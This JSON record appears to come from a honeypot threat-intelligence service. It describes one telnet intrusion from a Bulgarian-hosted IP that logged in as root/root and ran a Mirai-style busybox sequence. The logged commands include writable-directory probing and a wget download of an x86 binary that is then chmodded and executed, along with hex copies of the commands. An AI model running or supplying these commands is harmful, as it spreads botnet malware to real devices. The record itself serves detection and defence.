{"ip":"150.40.98.5","data_as_of":"2026-10-26T21:47:28+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"845 bytes sent","bytes_sent":845,"session_seconds":24,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-25T00:16:10","last_seen":"2026-10-25T00:16:10","events_24h":0,"events_7d":0,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"telnet","sessions":1}],"geo":{"country_code":"BG","country_name":"Bulgaria","region":"","city":"","lat":null,"lon":null,"asn":30893,"org":"No ACK Group Holding AB"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as30893","label":"no ack hosting network","category":"cdn","url":"https://www.peeringdb.com/asn/30893"},"cve_matches":[],"malware":[{"sha256":"6910d5782427f5dbe5a53a6d4aae92719c812b1edd67fcedba11ed55f39c335e","family":"mirai","vt_name":"x86","malicious":36,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":23,"hits":2,"last_seen":"2026-10-25 00:16:10"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-25T00:16:10","last_seen":"2026-10-25T00:16:10","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"telnet","port":23,"sessions":1}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":1,"last_seen":"2026-10-25T00:16:07"}],"commands":[{"ts":"2026-10-25T00:16:10","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf 3002f; >.3002; /bin/busybox POSXY","exit_code":127},{"ts":"2026-10-25T00:16:09","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./.3002 x86; /bin/busybox DFDFX","exit_code":127},{"ts":"2026-10-25T00:16:09","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget [http]://150[.]40[.]98[.]5:80/x86 -O - > .3002; /bin/busybox chmod 777 .3002; /bin/busybox POSXY","exit_code":127},{"ts":"2026-10-25T00:16:09","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox POSXY","exit_code":127},{"ts":"2026-10-25T00:16:09","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox POSXY","exit_code":127},{"ts":"2026-10-25T00:16:09","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cp /bin/busybox .3002; >.3002; /bin/busybox chmod 777 .3002; /bin/busybox POSXY","exit_code":127},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf .3002 3002f","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/usr/.ptmx && cd /usr/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/boot/.ptmx && cd /boot/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/etc/.ptmx && cd /etc/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/bin/.ptmx && cd /bin/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/shm/.ptmx && cd /dev/shm/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/netslink/.ptmx && cd /dev/netslink/","exit_code":1},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/.ptmx && cd /","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/tmp/.ptmx && cd /var/tmp/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.ptmx && cd /var/run/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/mnt/.ptmx && cd /mnt/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/.ptmx && cd /dev/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/.ptmx && cd /var/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/tmp/.ptmx && cd /tmp/","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-25T00:16:07","session_id":"1ed13bb5-4fca-4636-9a16-fa52b287da15","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0}],"downloads":[{"url":"[http]://150[.]40[.]98[.]5:80/x86","host":"150[.]40[.]98[.]5","sessions":1,"first_seen":"2026-10-25T00:16:10","last_seen":"2026-10-25T00:16:10","virustotal":{"sha256":"6910d5782427f5dbe5a53a6d4aae92719c812b1edd67fcedba11ed55f39c335e","status":"uploaded","malicious":36,"total":75,"name":"x86"}}],"files":[{"sha256":"d135bf05f24d02cf29ad49ad0adf79fa7a4740974a34a744f4d922304490b95a","name":".3002","size":11662,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-25T00:16:09","last_seen":"2026-10-25T00:16:09","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-25","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-25T00:16:10","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox rm -rf 3002f; >.3002; /bin/busybox POSXY","payload_hex":"2f62696e2f62757379626f7820726d202d72662033303032663b203e2e333030323b202f62696e2f62757379626f7820504f535859","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-52","seq":52,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e71b3bb19ae58271","strings":["/bin/busybox rm -rf 3002f; >.3002; /bin/busybox POSXY"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:09","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./.3002 x86; /bin/busybox DFDFX","payload_hex":"2e2f2e33303032207838363b202f62696e2f62757379626f78204446444658","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-50","seq":50,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7846f3fb4b0f2751","strings":["./.3002 x86; /bin/busybox DFDFX"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:09","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget http://150.40.98.5:80/x86 -O - > .3002; /bin/busybox chmod 777 .3002; /bin/busybox POSXY","payload_hex":"2f62696e2f62757379626f78207767657420687474703a2f2f3135302e34302e39382e353a38302f783836202d4f202d203e202e333030323b202f62696e2f62757379626f782063686d6f6420373737202e333030323b202f62696e2f62757379626f7820504f535859","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-48","seq":48,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"cb8c1eb8ed5ba5cf","strings":["/bin/busybox wget http://150.40.98.5:80/x86 -O - > .3002; /bin/busybox chmod 777…"],"iocs":{"urls":["http://150.40.98.5:80/x86"],"ips":["150.40.98.5"],"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:09","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox POSXY","payload_hex":"2f62696e2f62757379626f7820776765743b202f62696e2f62757379626f7820746674703b202f62696e2f62757379626f7820504f535859","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-46","seq":46,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"16eb5c8b7035c5e9","strings":["/bin/busybox wget; /bin/busybox tftp; /bin/busybox POSXY"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:09","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","payload_hex":"2f62696e2f62757379626f7820636174202f62696e2f62757379626f78207c7c207768696c65207265616420693b20646f206563686f2024693b20646f6e65203c202f62696e2f62757379626f78","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-42","seq":42,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e4737c9bfea146c1","strings":["/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:09","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox POSXY","payload_hex":"2f62696e2f62757379626f7820504f535859","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-44","seq":44,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b0340e727e8b2199","strings":["/bin/busybox POSXY"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:07","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox cp /bin/busybox .3002; >.3002; /bin/busybox chmod 777 .3002; /bin/busybox POSXY","payload_hex":"2f62696e2f62757379626f78206370202f62696e2f62757379626f78202e333030323b203e2e333030323b202f62696e2f62757379626f782063686d6f6420373737202e333030323b202f62696e2f62757379626f7820504f535859","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-40","seq":40,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2f4e7a79dd562fb9","strings":["/bin/busybox cp /bin/busybox .3002; >.3002; /bin/busybox chmod 777 .3002; /bin/b…"],"iocs":{"paths":["/bin/busybox","/bin/b"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:07","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/bin/.ptmx && cd /bin/","payload_hex":"3e2f62696e2f2e70746d78202626206364202f62696e2f","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-30","seq":30,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"af257ca4ae153ae3","strings":[">/bin/.ptmx && cd /bin/"],"iocs":{"paths":["/bin/.ptmx"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:07","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/etc/.ptmx && cd /etc/","payload_hex":"3e2f6574632f2e70746d78202626206364202f6574632f","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-32","seq":32,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"06ac445a7ddd1808","strings":[">/etc/.ptmx && cd /etc/"],"iocs":{"paths":["/etc/.ptmx"]}},"interactive":true},{"timestamp":"2026-10-25T00:16:07","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/boot/.ptmx && cd /boot/","payload_hex":"3e2f626f6f742f2e70746d78202626206364202f626f6f742f","method":"","user_agent":"","ja3":"","session":"1ed13bb5-4fca-4636-9a16-fa52b287da15-34","seq":34,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5e969ecbb8727c7c","strings":[">/boot/.ptmx && cd /boot/"],"iocs":{"paths":["/boot/.ptmx"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}